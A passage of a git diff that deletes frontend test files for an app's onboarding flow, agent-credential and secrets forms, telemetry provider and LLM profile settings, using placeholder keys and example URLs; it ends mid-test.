100644 index adf19a181..000000000 --- a/__tests__/components/onboarding/onboarding-progress-bar.test.tsx +++ /dev/null @@ -1,42 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import { describe, expect, it } from "vitest"; -import { OnboardingProgressBar } from "#/components/features/onboarding/onboarding-progress-bar"; - -describe("OnboardingProgressBar", () => { - it("renders one segment per step and marks the current segment", () => { - render(); - - const bar = screen.getByTestId("onboarding-progress-bar"); - expect(bar).toHaveAttribute("aria-valuenow", "2"); - expect(bar).toHaveAttribute("aria-valuemin", "1"); - expect(bar).toHaveAttribute("aria-valuemax", "4"); - - // Segment states match the current step. - expect( - screen.getByTestId("onboarding-progress-step-0"), - ).toHaveAttribute("data-state", "completed"); - expect( - screen.getByTestId("onboarding-progress-step-1"), - ).toHaveAttribute("data-state", "current"); - expect( - screen.getByTestId("onboarding-progress-step-2"), - ).toHaveAttribute("data-state", "upcoming"); - expect( - screen.getByTestId("onboarding-progress-step-3"), - ).toHaveAttribute("data-state", "upcoming"); - }); - - it("treats the first step as current with no completed segments", () => { - render(); - - expect( - screen.getByTestId("onboarding-progress-step-0"), - ).toHaveAttribute("data-state", "current"); - expect( - screen.getByTestId("onboarding-progress-step-1"), - ).toHaveAttribute("data-state", "upcoming"); - expect( - screen.getByTestId("onboarding-progress-step-2"), - ).toHaveAttribute("data-state", "upcoming"); - }); -}); diff --git a/__tests__/components/onboarding/setup-acp-secrets-step.test.tsx b/__tests__/components/onboarding/setup-acp-secrets-step.test.tsx deleted file mode 100644 index d1c0cd4c5..000000000 --- a/__tests__/components/onboarding/setup-acp-secrets-step.test.tsx +++ /dev/null @@ -1,496 +0,0 @@ -import React from "react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { render, screen, waitFor } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; - -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import { ActiveBackendProvider } from "#/contexts/active-backend-context"; -import { - SetupAcpSecretsStep, - backendRequiresAcpCredentials, -} from "#/components/features/onboarding/steps/setup-acp-secrets-step"; -import { type OnboardingAgentId } from "#/components/features/onboarding/steps/choose-agent-step"; -import { SecretsService } from "#/api/secrets-service"; - -// The login-detection probe is exercised in its own hook test; here we stub it -// so rendering the step doesn't spin a conversation, and so we can drive the -// banner states directly. -const acpAuthStatusMock = vi.hoisted(() => vi.fn()); -vi.mock("#/hooks/query/use-acp-auth-status", () => ({ - useAcpAuthStatus: (...args: unknown[]) => acpAuthStatusMock(...args), -})); - -function renderStep( - providerKey: OnboardingAgentId = "claude-code", - isActive = true, -) { - const onBack = vi.fn(); - const onNext = vi.fn(); - const user = userEvent.setup(); - render( - - - - - , - ); - return { onBack, onNext, user }; -} - -/** - * Render the Claude Code step with ANTHROPIC_API_KEY already saved, and wait - * until that state has loaded (its "already saved" placeholder appears once - * `useSearchSecrets` resolves). Shared by every test that exercises the - * existing-secret paths so the fixture lives in one place. - */ -async function renderWithSavedApiKey() { - vi.spyOn(SecretsService, "getSecrets").mockResolvedValue([ - { name: "ANTHROPIC_API_KEY" }, - ]); - const handles = renderStep("claude-code"); - const apiKey = screen.getByTestId( - "onboarding-acp-secret-ANTHROPIC_API_KEY", - ) as HTMLInputElement; - await waitFor(() => expect(apiKey.placeholder.length).toBeGreaterThan(0)); - return { ...handles, apiKey }; -} - -beforeEach(() => { - vi.restoreAllMocks(); - __resetActiveStoreForTests(); - acpAuthStatusMock.mockReturnValue({ - status: "unknown", - isChecking: false, - isSupported: false, - }); - vi.spyOn(SecretsService, "getSecrets").mockResolvedValue([]); - vi.spyOn(SecretsService, "createSecret").mockResolvedValue(); -}); -afterEach(() => { - // setRegisteredBackends persists to localStorage, which - // __resetActiveStoreForTests re-reads — clear it so a test's backend - // registration (e.g. the cloud case) can't leak into the next test. - localStorage.clear(); - __resetActiveStoreForTests(); -}); - -describe("SetupAcpSecretsStep", () => { - it("renders the provider's API key and optional base URL fields", () => { - renderStep("codex"); - - expect( - screen.getByTestId("onboarding-acp-secret-OPENAI_API_KEY"), - ).toBeInTheDocument(); - expect( - screen.getByTestId("onboarding-acp-secret-OPENAI_BASE_URL"), - ).toBeInTheDocument(); - // The API key is a password field; the base URL is a plain text input. - expect( - screen.getByTestId("onboarding-acp-secret-OPENAI_API_KEY"), - ).toHaveAttribute("type", "password"); - expect( - screen.getByTestId("onboarding-acp-secret-OPENAI_BASE_URL"), - ).toHaveAttribute("type", "text"); - }); - - it("flags a credential that already exists as a saved secret", async () => { - const { apiKey } = await renderWithSavedApiKey(); - - // The already-saved field carries a non-empty placeholder hint; a - // not-yet-saved field (base URL) does not. - const baseUrl = screen.getByTestId( - "onboarding-acp-secret-ANTHROPIC_BASE_URL", - ) as HTMLInputElement; - expect(apiKey.placeholder.length).toBeGreaterThan(0); - expect(baseUrl.placeholder).toBe(""); - }); - - it("does not write an existing secret when its field is left blank", async () => { - const { onNext, user } = await renderWithSavedApiKey(); - - // Advance without typing: a blank field is a deliberate skip, so the - // already-saved secret must be left untouched (no overwrite). - await user.click(screen.getByTestId("onboarding-acp-secrets-next")); - - await waitFor(() => expect(onNext).toHaveBeenCalledTimes(1)); - expect(SecretsService.createSecret).not.toHaveBeenCalled(); - }); - - it("overwrites an existing secret when the user types a replacement", async () => { - // Key rotation: a credential is already saved, the user types a new value - // over it. The blank-skip guard must not suppress this — the new value has - // to be written even though the secret already exists. - const { onNext, user, apiKey } = await renderWithSavedApiKey(); - - await user.type(apiKey, "sk-ant-new-key"); - await user.click(screen.getByTestId("onboarding-acp-secrets-next")); - - await waitFor(() => { - expect(SecretsService.createSecret).toHaveBeenCalledWith( - "ANTHROPIC_API_KEY", - "sk-ant-new-key", - undefined, - ); - expect(onNext).toHaveBeenCalledTimes(1); - }); - }); - - it("upserts every filled field as a secret and then advances", async () => { - const { onNext, user } = renderStep("claude-code"); - - await user.type( - screen.getByTestId("onboarding-acp-secret-ANTHROPIC_API_KEY"), - "sk-ant-123", - ); - await user.type( - screen.getByTestId("onboarding-acp-secret-ANTHROPIC_BASE_URL"), - "https://proxy.example.com", - ); - await user.click(screen.getByTestId("onboarding-acp-secrets-next")); - - await waitFor(() => { - expect(SecretsService.createSecret).toHaveBeenCalledWith( - "ANTHROPIC_API_KEY", - "sk-ant-123", - undefined, - ); - expect(SecretsService.createSecret).toHaveBeenCalledWith( - "ANTHROPIC_BASE_URL", - "https://proxy.example.com", - undefined, - ); - expect(onNext).toHaveBeenCalledTimes(1); - }); - }); - - it("does not advance when a secret write fails", async () => { - vi.spyOn(SecretsService, "createSecret").mockRejectedValue( - new Error("boom"), - ); - const { onNext, user } = renderStep("claude-code"); - - await user.type( - screen.getByTestId("onboarding-acp-secret-ANTHROPIC_API_KEY"), - "sk-ant-123", - ); - await user.click(screen.getByTestId("onboarding-acp-secrets-next")); - - await waitFor(() => - expect(SecretsService.createSecret).toHaveBeenCalledTimes(1), - ); - expect(onNext).not.toHaveBeenCalled(); - }); - - it("runs the login probe scoped to the active step and provider", () => { - renderStep("claude-code", true); - expect(acpAuthStatusMock).toHaveBeenCalledWith("claude-code", { - enabled: true, - }); - }); - - it("disables the login probe when the step is not active", () => { - renderStep("claude-code", false); - expect(acpAuthStatusMock).toHaveBeenCalledWith("claude-code", { - enabled: false, - }); - }); - - it("shows the 'checking' banner while the login probe is in flight", () => { - acpAuthStatusMock.mockReturnValue({ - status: "unknown", - isChecking: true, - isSupported: true, - }); - renderStep("claude-code"); - - expect( - screen.getByTestId("onboarding-acp-auth-checking"), - ).toBeInTheDocument(); - expect( - screen.queryByTestId("onboarding-acp-auth-detected"), - ).not.toBeInTheDocument(); - }); - - it("shows the 'already signed in' banner when authenticated, keeping the key fields", () => { - acpAuthStatusMock.mockReturnValue({ - status: "authenticated", - isChecking: false, - isSupported: true, - }); - renderStep("claude-code"); - - expect( - screen.getByTestId("onboarding-acp-auth-detected"), - ).toBeInTheDocument(); - // The fields stay visible (now optional) even when already logged in. - expect( - screen.getByTestId("onboarding-acp-secret-ANTHROPIC_API_KEY"), - ).toBeInTheDocument(); - }); - - it("renders Gemini's credential fields and the 'signed in' banner together", () => { - // Gemini's key/base-URL come from the SDK registry like the others, so the - // step shows the GEMINI_API_KEY field AND the detection banner (its Google - // login takes precedence, but a key can still be entered). - acpAuthStatusMock.mockReturnValue({ - status: "authenticated", - isChecking: false, - isSupported: true, - }); - renderStep("gemini-cli"); - - expect( - screen.getByTestId("onboarding-acp-auth-detected"), - ).toBeInTheDocument(); - expect( - screen.getByTestId("onboarding-acp-secret-GEMINI_API_KEY"), - ).toBeInTheDocument(); - }); - - it("shows no banner when the provider is not authenticated", () => { - acpAuthStatusMock.mockReturnValue({ - status: "unauthenticated", - isChecking: false, - isSupported: true, - }); - renderStep("claude-code"); - - expect( - screen.queryByTestId("onboarding-acp-auth-detected"), - ).not.toBeInTheDocument(); - expect( - screen.queryByTestId("onboarding-acp-auth-checking"), - ).not.toBeInTheDocument(); - }); - - it("renders the Codex subscription blob as a multiline textarea", () => { - renderStep("codex"); - - const blob = screen.getByTestId("onboarding-acp-secret-CODEX_AUTH_JSON"); - expect(blob.tagName).toBe("TEXTAREA"); - }); - - it("requires credentials (blocks Next) on a logged-out local backend, then unblocks once one is entered", async () => { - // local + "unauthenticated" = a fresh container with no host login → the - // step is required until the user provides a credential. - acpAuthStatusMock.mockReturnValue({ - status: "unauthenticated", - isChecking: false, - isSupported: true, - }); - const { onNext, user } = renderStep("claude-code"); - - expect( - screen.getByTestId("onboarding-acp-secrets-blocked"), - ).toBeInTheDocument(); - expect(screen.getByTestId("onboarding-acp-secrets-next")).toBeDisabled(); - - await user.type( - screen.getByTestId("onboarding-acp-secret-CLAUDE_CODE_OAUTH_TOKEN"), - "oauth-token", - ); - - expect( - screen.queryByTestId("onboarding-acp-secrets-blocked"), - ).not.toBeInTheDocument(); - expect( - screen.getByTestId("onboarding-acp-secrets-next"), - ).not.toBeDisabled(); - - await user.click(screen.getByTestId("onboarding-acp-secrets-next")); - await waitFor(() => expect(onNext).toHaveBeenCalledTimes(1)); - }); - - it("does not block Next when the login probe is unknown (permissive for native dev)", () => { - acpAuthStatusMock.mockReturnValue({ - status: "unknown", - isChecking: false, - isSupported: false, - }); - renderStep("claude-code"); - - expect( - screen.queryByTestId("onboarding-acp-secrets-blocked"), - ).not.toBeInTheDocument(); - expect( - screen.getByTestId("onboarding-acp-secrets-next"), - ).not.toBeDisabled(); - }); - - it("stays blocked when only a non-credential field is filled", async () => { - // GOOGLE_CLOUD_LOCATION (or a base URL) alone can't authenticate anything — - // only a masked ``secret`` field (blob / token / API key) satisfies a - // required credential step. - acpAuthStatusMock.mockReturnValue({ - status: "unauthenticated", - isChecking: false, - isSupported: true, - }); - const { user } = renderStep("gemini-cli"); - - await user.type( - screen.getByTestId("onboarding-acp-secret-GOOGLE_CLOUD_LOCATION"), - "us-central1", - ); - - expect( - screen.getByTestId("onboarding-acp-secrets-blocked"), - ).toBeInTheDocument(); - expect(screen.getByTestId("onboarding-acp-secrets-next")).toBeDisabled(); - - await user.type( - screen.getByTestId("onboarding-acp-secret-GEMINI_API_KEY"), - "AIza-key", - ); - - expect( - screen.queryByTestId("onboarding-acp-secrets-blocked"), - ).not.toBeInTheDocument(); - }); - - it("counts a Codex file blob toward the gate on cloud (cloud materialises file secrets)", async () => { - // Cloud materialises file-content credentials (Codex auth.json, Gemini - // Vertex SA) from the encrypted secret store via agent_context.secrets at - // conversation start, so a pasted blob satisfies a required step exactly - // like an env-var credential does. - setRegisteredBackends([ - { - id: "cloud-1", - name: "Cloud", - host: "https://app.example.dev", - apiKey: "key", - kind: "cloud", - }, - ]); - setActiveSelection({ backendId: "cloud-1", orgId: null }); - const { user } = renderStep("codex"); - - // Required on cloud, so initially blocked until a credential is supplied. - expect(screen.getByTestId("onboarding-acp-secrets-next")).toBeDisabled(); - - await user.click( - screen.getByTestId("onboarding-acp-secret-CODEX_AUTH_JSON"), - ); - await user.paste('{"tokens":{}}'); - - expect( - screen.queryByTestId("onboarding-acp-secrets-blocked"), - ).not.toBeInTheDocument(); - expect( - screen.getByTestId("onboarding-acp-secrets-next"), - ).not.toBeDisabled(); - }); - - it("holds Next while the login probe is still in flight, without the blocked note", async () => { - // A fast click must not slip past a gate the probe is about to raise; the - // "checking login status" banner already explains the wait. A credential - // typed meanwhile releases the hold. - acpAuthStatusMock.mockReturnValue({ - status: "unknown", - isChecking: true, - isSupported: true, - }); - const { user } = renderStep("claude-code"); - - expect(screen.getByTestId("onboarding-acp-secrets-next")).toBeDisabled(); - // Not "blocked" — just pending classification. - expect( - screen.queryByTestId("onboarding-acp-secrets-blocked"), - ).not.toBeInTheDocument(); - - await user.type( - screen.getByTestId("onboarding-acp-secret-CLAUDE_CODE_OAUTH_TOKEN"), - "oauth-token", - ); - - expect( - screen.getByTestId("onboarding-acp-secrets-next"), - ).not.toBeDisabled(); - }); - - it("warns when the Claude OAuth token and base URL are both set (bearer-auth conflict)", async () => { - const { user } = renderStep("claude-code"); - - expect( - screen.queryByTestId("acp-credential-conflict-warning"), - ).not.toBeInTheDocument(); - - await user.type( - screen.getByTestId("onboarding-acp-secret-CLAUDE_CODE_OAUTH_TOKEN"), - "oauth-token", - ); - await user.type( - screen.getByTestId("onboarding-acp-secret-ANTHROPIC_BASE_URL"), - "https://proxy.example.com", - ); - - expect( - screen.getByTestId("acp-credential-conflict-warning"), - ).toBeInTheDocument(); - }); - - it("counts an already-saved secret toward the conflict warning", async () => { - // A previously saved ANTHROPIC_BASE_URL conflicts just the same as a typed - // one — the warning must consider the secret store, not just the form. - vi.spyOn(SecretsService, "getSecrets").mockResolvedValue([ - { name: "ANTHROPIC_BASE_URL" }, - ]); - const { user } = renderStep("claude-code"); - await waitFor(() => - expect( - ( - screen.getByTestId( - "onboarding-acp-secret-ANTHROPIC_BASE_URL", - ) as HTMLInputElement - ).placeholder.length, - ).toBeGreaterThan(0), - ); - - await user.type( - screen.getByTestId("onboarding-acp-secret-CLAUDE_CODE_OAUTH_TOKEN"), - "oauth-token", - ); - - expect( - screen.getByTestId("acp-credential-conflict-warning"), - ).toBeInTheDocument(); - }); -}); - -describe("backendRequiresAcpCredentials", () => { - it("never requires credentials when a login is already detected", () => { - expect(backendRequiresAcpCredentials("local", "authenticated")).toBe(false); - expect(backendRequiresAcpCredentials("cloud", "authenticated")).toBe(false); - }); - - it("always requires credentials on a cloud backend (no host login)", () => { - expect(backendRequiresAcpCredentials("cloud", "unauthenticated")).toBe( - true, - ); - expect(backendRequiresAcpCredentials("cloud", "unknown")).toBe(true); - }); - - it("requires credentials on a logged-out local backend (a fresh container)", () => { - expect(backendRequiresAcpCredentials("local", "unauthenticated")).toBe( - true, - ); - }); - - it("stays permissive on a local backend the probe can't classify", () => { - expect(backendRequiresAcpCredentials("local", "unknown")).toBe(false); - }); -}); diff --git a/__tests__/components/onboarding/use-onboarding-completion.test.tsx b/__tests__/components/onboarding/use-onboarding-completion.test.tsx deleted file mode 100644 index 26184f80e..000000000 --- a/__tests__/components/onboarding/use-onboarding-completion.test.tsx +++ /dev/null @@ -1,58 +0,0 @@ -import React from "react"; -import { act, renderHook } from "@testing-library/react"; -import { afterEach, beforeEach, describe, expect, it } from "vitest"; -import { - ONBOARDING_COMPLETED_STORAGE_KEY, - useOnboardingCompletion, -} from "#/components/features/onboarding/use-onboarding-completion"; - -beforeEach(() => { - window.localStorage.clear(); -}); -afterEach(() => { - window.localStorage.clear(); -}); - -describe("useOnboardingCompletion", () => { - it("starts incomplete when the localStorage flag is missing", () => { - const { result } = renderHook(() => useOnboardingCompletion()); - expect(result.current.isCompleted).toBe(false); - }); - - it("starts complete when the localStorage flag is set", () => { - window.localStorage.setItem(ONBOARDING_COMPLETED_STORAGE_KEY, "1"); - const { result } = renderHook(() => useOnboardingCompletion()); - expect(result.current.isCompleted).toBe(true); - }); - - it("persists completion to localStorage and flips the flag", () => { - const { result } = renderHook(() => useOnboardingCompletion()); - expect(result.current.isCompleted).toBe(false); - - act(() => { - result.current.markCompleted(); - }); - - expect(result.current.isCompleted).toBe(true); - expect( - window.localStorage.getItem(ONBOARDING_COMPLETED_STORAGE_KEY), - ).not.toBeNull(); - }); - - it("syncs across tabs via the storage event", () => { - const { result } = renderHook(() => useOnboardingCompletion()); - expect(result.current.isCompleted).toBe(false); - - act(() => { - window.localStorage.setItem(ONBOARDING_COMPLETED_STORAGE_KEY, "1"); - window.dispatchEvent( - new StorageEvent("storage", { - key: ONBOARDING_COMPLETED_STORAGE_KEY, - newValue: "1", - }), - ); - }); - - expect(result.current.isCompleted).toBe(true); - }); -}); diff --git a/__tests__/components/providers/telemetry-provider.test.tsx b/__tests__/components/providers/telemetry-provider.test.tsx deleted file mode 100644 index 6c7836bdc..000000000 --- a/__tests__/components/providers/telemetry-provider.test.tsx +++ /dev/null @@ -1,104 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { render, screen, waitFor } from "@testing-library/react"; -import { TelemetryProvider } from "#/components/providers/telemetry-provider"; -import * as telemetry from "#/services/telemetry"; - -const runtimeConfig = { - apiKey: "phc_embedded", - apiHost: "https://events.example.com", - uiHost: "https://posthog.example.com", -}; - -describe("TelemetryProvider", () => { - let configureBootstrapMock: ReturnType; - let configureTelemetryMock: ReturnType; - let initializeClientMock: ReturnType; - - beforeEach(() => { - configureBootstrapMock = vi - .spyOn(telemetry, "configurePostHogBootstrap") - .mockImplementation(() => undefined); - configureTelemetryMock = vi - .spyOn(telemetry, "configureTelemetry") - .mockImplementation(() => undefined); - initializeClientMock = vi - .spyOn(telemetry, "initializePostHogClient") - .mockResolvedValue(null); - window.location.hash = ""; - sessionStorage.clear(); - }); - - afterEach(() => { - vi.restoreAllMocks(); - }); - - it("configures telemetry and bootstraps IDs from the URL", () => { - window.location.hash = "distinct_id=user-123&session_id=session-456"; - - render( - -
    - , - ); - - expect(configureTelemetryMock).toHaveBeenCalledWith(runtimeConfig); - expect(configureBootstrapMock).toHaveBeenCalledWith({ - distinctID: "user-123", - sessionID: "session-456", - }); - expect(window.location.hash).toBe(""); - }); - - it("restores valid bootstrap IDs after OAuth and discards malformed data", () => { - sessionStorage.setItem("posthog_bootstrap", "not-json"); - const view = render( - -
    - , - ); - - expect(configureBootstrapMock).toHaveBeenCalledWith(undefined); - expect(sessionStorage.getItem("posthog_bootstrap")).toBeNull(); - - view.unmount(); - configureBootstrapMock.mockClear(); - sessionStorage.setItem( - "posthog_bootstrap", - JSON.stringify({ distinctID: "user-123", sessionID: "session-456" }), - ); - render( - -
    - , - ); - expect(configureBootstrapMock).toHaveBeenCalledWith({ - distinctID: "user-123", - sessionID: "session-456", - }); - }); - - it("keeps rendering children when eager initialization fails", async () => { - initializeClientMock.mockRejectedValueOnce(new Error("unavailable")); - - render( - -
    - , - ); - - expect(screen.getByTestId("child")).toBeInTheDocument(); - await waitFor(() => expect(initializeClientMock).toHaveBeenCalledOnce()); - }); - - it("does not initialize when analytics are disabled", () => { - render( - -
    - , - ); - - expect(screen.getByTestId("child")).toBeInTheDocument(); - expect(configureTelemetryMock).toHaveBeenCalledWith(false); - expect(initializeClientMock).not.toHaveBeenCalled(); - }); -}); diff --git a/__tests__/components/settings/acp-credentials-section.test.tsx b/__tests__/components/settings/acp-credentials-section.test.tsx deleted file mode 100644 index d4b524aab..000000000 --- a/__tests__/components/settings/acp-credentials-section.test.tsx +++ /dev/null @@ -1,144 +0,0 @@ -import React from "react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { render, screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; - -import { __resetActiveStoreForTests } from "#/api/backend-registry/active-store"; -import { ActiveBackendProvider } from "#/contexts/active-backend-context"; -import { AcpCredentialsSection } from "#/components/features/settings/acp-credentials-section"; -import { useAcpCredentialForm } from "#/hooks/use-acp-credential-form"; -import { SecretsService } from "#/api/secrets-service"; - -// The login-detection probe is exercised in its own hook test; here we stub it -// so rendering the section doesn't spin a subprocess and we can drive the auth -// banner states directly. -const acpAuthStatusMock = vi.hoisted(() => vi.fn()); -vi.mock("#/hooks/query/use-acp-auth-status", () => ({ - useAcpAuthStatus: (...args: unknown[]) => acpAuthStatusMock(...args), -})); - -// The section is presentational: the form lives in the parent (Settings → -// Agent) so a single Save persists the agent spec + credentials together. These -// tests drive the section through the real form hook to cover field rendering, -// conflict warnings, and the auth banner; the save flow is covered in -// __tests__/routes/agent-settings.test.tsx. -function Harness({ providerKey }: { providerKey: string }) { - const form = useAcpCredentialForm(providerKey); - return ; -} - -function renderSection(providerKey: string) { - const user = userEvent.setup(); - render( - - - - - , - ); - return { user }; -} - -beforeEach(() => { - vi.restoreAllMocks(); - __resetActiveStoreForTests(); - acpAuthStatusMock.mockReturnValue({ - status: "unknown", - isChecking: false, - isSupported: true, - }); - vi.spyOn(SecretsService, "getSecrets").mockResolvedValue([]); -}); -afterEach(() => { - __resetActiveStoreForTests(); -}); - -describe("AcpCredentialsSection", () => { - it("renders the provider's credential fields (blob as textarea, key as password)", () => { - renderSection("codex"); - - expect( - screen.getByTestId("settings-acp-secret-CODEX_AUTH_JSON").tagName, - ).toBe("TEXTAREA"); - expect( - screen.getByTestId("settings-acp-secret-OPENAI_API_KEY"), - ).toHaveAttribute("type", "password"); - }); - - it("renders nothing for a provider without credential fields", () => { - renderSection("custom"); - expect( - screen.queryByTestId("settings-acp-secret-CODEX_AUTH_JSON"), - ).not.toBeInTheDocument(); - }); - - it("warns when the Claude OAuth token and base URL are both set", async () => { - const { user } = renderSection("claude-code"); - - await user.type( - screen.getByTestId("settings-acp-secret-CLAUDE_CODE_OAUTH_TOKEN"), - "oauth-token", - ); - expect( - screen.queryByTestId("acp-credential-conflict-warning"), - ).not.toBeInTheDocument(); - - await user.type( - screen.getByTestId("settings-acp-secret-ANTHROPIC_BASE_URL"), - "https://proxy.example.com", - ); - expect( - screen.getByTestId("acp-credential-conflict-warning"), - ).toBeInTheDocument(); - }); - - it("shows the 'already signed in' banner when the login probe detects a session", () => { - acpAuthStatusMock.mockReturnValue({ - status: "authenticated", - isChecking: false, - isSupported: true, - }); - renderSection("claude-code"); - expect( - screen.getByTestId("settings-acp-auth-detected"), - ).toBeInTheDocument(); - expect( - screen.queryByTestId("settings-acp-auth-checking"), - ).not.toBeInTheDocument(); - }); - - it("shows the checking spinner while the login probe is in flight", () => { - acpAuthStatusMock.mockReturnValue({ - status: "unknown", - isChecking: true, - isSupported: true, - }); - renderSection("claude-code"); - expect( - screen.getByTestId("settings-acp-auth-checking"), - ).toBeInTheDocument(); - expect( - screen.queryByTestId("settings-acp-auth-detected"), - ).not.toBeInTheDocument(); - }); - - it("shows no auth banner when there is no detected session", () => { - acpAuthStatusMock.mockReturnValue({ - status: "unauthenticated", - isChecking: false, - isSupported: true, - }); - renderSection("claude-code"); - expect( - screen.queryByTestId("settings-acp-auth-detected"), - ).not.toBeInTheDocument(); - expect( - screen.queryByTestId("settings-acp-auth-checking"), - ).not.toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/settings/agent-profiles/agent-profiles-local-view.test.tsx b/__tests__/components/settings/agent-profiles/agent-profiles-local-view.test.tsx deleted file mode 100644 index 9654d3770..000000000 --- a/__tests__/components/settings/agent-profiles/agent-profiles-local-view.test.tsx +++ /dev/null @@ -1,386 +0,0 @@ -import { render, screen, waitFor } from "@testing-library/react"; -import { describe, expect, it, vi, beforeEach } from "vitest"; -import userEvent from "@testing-library/user-event"; -import { useEffect } from "react"; -import type { AgentSettingsSaveControl } from "#/routes/agent-settings"; -import { AgentProfilesLocalView } from "#/components/features/settings/agent-profiles/agent-profiles-local-view"; -import AgentProfilesService from "#/api/agent-profiles-service/agent-profiles-service.api"; -import { displayErrorToast } from "#/utils/custom-toast-handlers"; - -// The embedded Agent settings form is stubbed to emit a caller-provided -// control, so the tests exercise the view's mapping to AgentProfileSaveInput. -let emitControl: AgentSettingsSaveControl | null = null; - -vi.mock("react-i18next", () => ({ - useTranslation: () => ({ t: (key: string) => key }), -})); - -// The view imports the NAMED `AgentSettingsScreen` export (not the route's -// default, which React Router wraps and would strip the embedded props). Mock -// the named export to match; the factory is hoisted, so define the stub inline. -vi.mock("#/routes/agent-settings", () => { - const MockAgentSettings = ({ - onSaveControlChange, - }: { - onSaveControlChange?: (c: AgentSettingsSaveControl) => void; - }) => { - useEffect(() => { - if (emitControl) onSaveControlChange?.(emitControl); - }, [onSaveControlChange]); - return
    ; - }; - return { - __esModule: true, - AgentSettingsScreen: MockAgentSettings, - default: MockAgentSettings, - }; -}); - -vi.mock( - "#/components/features/settings/agent-profiles/agent-profiles-manager", - () => ({ - AgentProfilesManager: ({ - onAddProfile, - onEditProfile, - }: { - onAddProfile?: () => void; - onEditProfile?: (profile: { name: string }) => void; - }) => ( - <> - - - {view === "basic" ? ( - setModel(event.currentTarget.value)} - /> - ) : null} - {view === "all" ? ( - setTemperature(event.currentTarget.value)} - /> - ) : null} -
    - ); - }, - }; -}); - -vi.mock("#/hooks/query/use-llm-profiles"); -vi.mock("#/hooks/mutation/use-activate-llm-profile"); -vi.mock("#/hooks/mutation/use-save-llm-profile"); -vi.mock("#/api/profiles-service/profiles-service.api"); - -const mockProfiles = [ - { - name: "gpt-4-profile", - model: "openai/gpt-4", - base_url: null, - api_key_set: true, - }, - { - name: "claude-profile", - model: "anthropic/claude-3-opus", - base_url: null, - api_key_set: true, - }, -]; - -/** - * Helper to create properly typed mock return values for useLlmProfiles. - * This avoids incomplete `as unknown as` casts by providing all required fields. - */ -function createMockLlmProfilesReturn( - overrides: Partial> = {}, -): ReturnType { - return { - data: { profiles: mockProfiles, active_profile: "gpt-4-profile" }, - isLoading: false, - error: null, - isError: false, - isFetching: false, - isSuccess: true, - refetch: vi.fn(), - ...overrides, - } as ReturnType; -} - -/** - * Helper to create properly typed mock mutation return values. - * Includes all standard React Query mutation fields. - */ -function createMockMutationReturn( - mutateAsync: Mock, - overrides: Partial = {}, -): T { - return { - mutateAsync, - mutate: vi.fn(), - isPending: false, - isError: false, - isSuccess: false, - error: null, - data: undefined, - reset: vi.fn(), - variables: undefined, - status: "idle", - failureCount: 0, - failureReason: null, - isIdle: true, - isPaused: false, - context: undefined, - submittedAt: 0, - ...overrides, - } as T; -} - -describe("LlmSettingsLocalView", () => { - const mockActivateMutateAsync = vi.fn(); - const mockSaveMutateAsync = vi.fn(); - - beforeEach(() => { - vi.clearAllMocks(); - - vi.mocked(useLlmProfilesHook.useLlmProfiles).mockReturnValue( - createMockLlmProfilesReturn(), - ); - - vi.mocked(useActivateLlmProfileHook.useActivateLlmProfile).mockReturnValue( - createMockMutationReturn< - ReturnType - >(mockActivateMutateAsync), - ); - - vi.mocked(useSaveLlmProfileHook.useSaveLlmProfile).mockReturnValue( - createMockMutationReturn< - ReturnType - >(mockSaveMutateAsync), - ); - }); - - it("renders profile list by default", () => { - renderWithProviders(); - - // Check for profile names (translation keys won't be resolved in test) - expect(screen.getByText("gpt-4-profile")).toBeInTheDocument(); - expect(screen.getByText("claude-profile")).toBeInTheDocument(); - }); - - it("shows Add LLM Profile button", () => { - renderWithProviders(); - - expect(screen.getByTestId("add-llm-profile")).toBeInTheDocument(); - }); - - it("switches to create view when Add button clicked", async () => { - const user = userEvent.setup(); - renderWithProviders(); - - const addButton = screen.getByTestId("add-llm-profile"); - await user.click(addButton); - - // Should show create view elements (profile name input and back button) - expect(screen.getByTestId("profile-name-input")).toBeInTheDocument(); - expect(screen.getByTestId("back-to-profiles")).toBeInTheDocument(); - expect( - screen.getByText(/Add LLM Profile|SETTINGS\$ADD_LLM_PROFILE/), - ).toBeInTheDocument(); - expect( - screen.getByTestId("profile-editor-description"), - ).toBeInTheDocument(); - }); - - it("returns to list view when back button clicked", async () => { - const user = userEvent.setup(); - renderWithProviders(); - - // Go to create view - await user.click(screen.getByTestId("add-llm-profile")); - expect(screen.getByTestId("profile-name-input")).toBeInTheDocument(); - - // Click back - await user.click(screen.getByTestId("back-to-profiles")); - - // Should be back at list - check for profile names - expect(screen.getByText("gpt-4-profile")).toBeInTheDocument(); - }); - - it("returns to list view when cancel button clicked", async () => { - const user = userEvent.setup(); - renderWithProviders(); - - // Go to create view - await user.click(screen.getByTestId("add-llm-profile")); - - // Click cancel - await user.click(screen.getByTestId("cancel-profile-btn")); - - // Should be back at list - expect(screen.getByText("gpt-4-profile")).toBeInTheDocument(); - }); - - it("shows loading state when profiles are loading", () => { - vi.mocked(useLlmProfilesHook.useLlmProfiles).mockReturnValue( - createMockLlmProfilesReturn({ - data: undefined, - isLoading: true, - isSuccess: false, - }), - ); - - renderWithProviders(); - - expect(screen.getByTestId("loading-spinner")).toBeInTheDocument(); - }); - - it("shows error message when profiles fail to load", () => { - const mockError = new AxiosError("Network error"); - vi.mocked(useLlmProfilesHook.useLlmProfiles).mockReturnValue( - createMockLlmProfilesReturn({ - data: undefined, - isLoading: false, - isError: true, - error: mockError, - isSuccess: false, - }), - ); - - renderWithProviders(); - - // Error message component should be rendered (text is a translation key) - expect( - screen.getByText("SETTINGS$PROFILES_LOAD_ERROR"), - ).toBeInTheDocument(); - }); - - it("keeps the create view stable when save controls are incomplete", () => { - mockSaveMutateAsync.mockResolvedValueOnce({ success: true }); - - renderWithProviders(); - - fireEvent.click(screen.getByTestId("add-llm-profile")); - - expect(screen.getByTestId("profile-name-input")).toBeInTheDocument(); - - const nameInput = screen.getByTestId("profile-name-input"); - fireEvent.change(nameInput, { target: { value: "my-new-profile" } }); - expect(nameInput).toHaveValue("my-new-profile"); - - 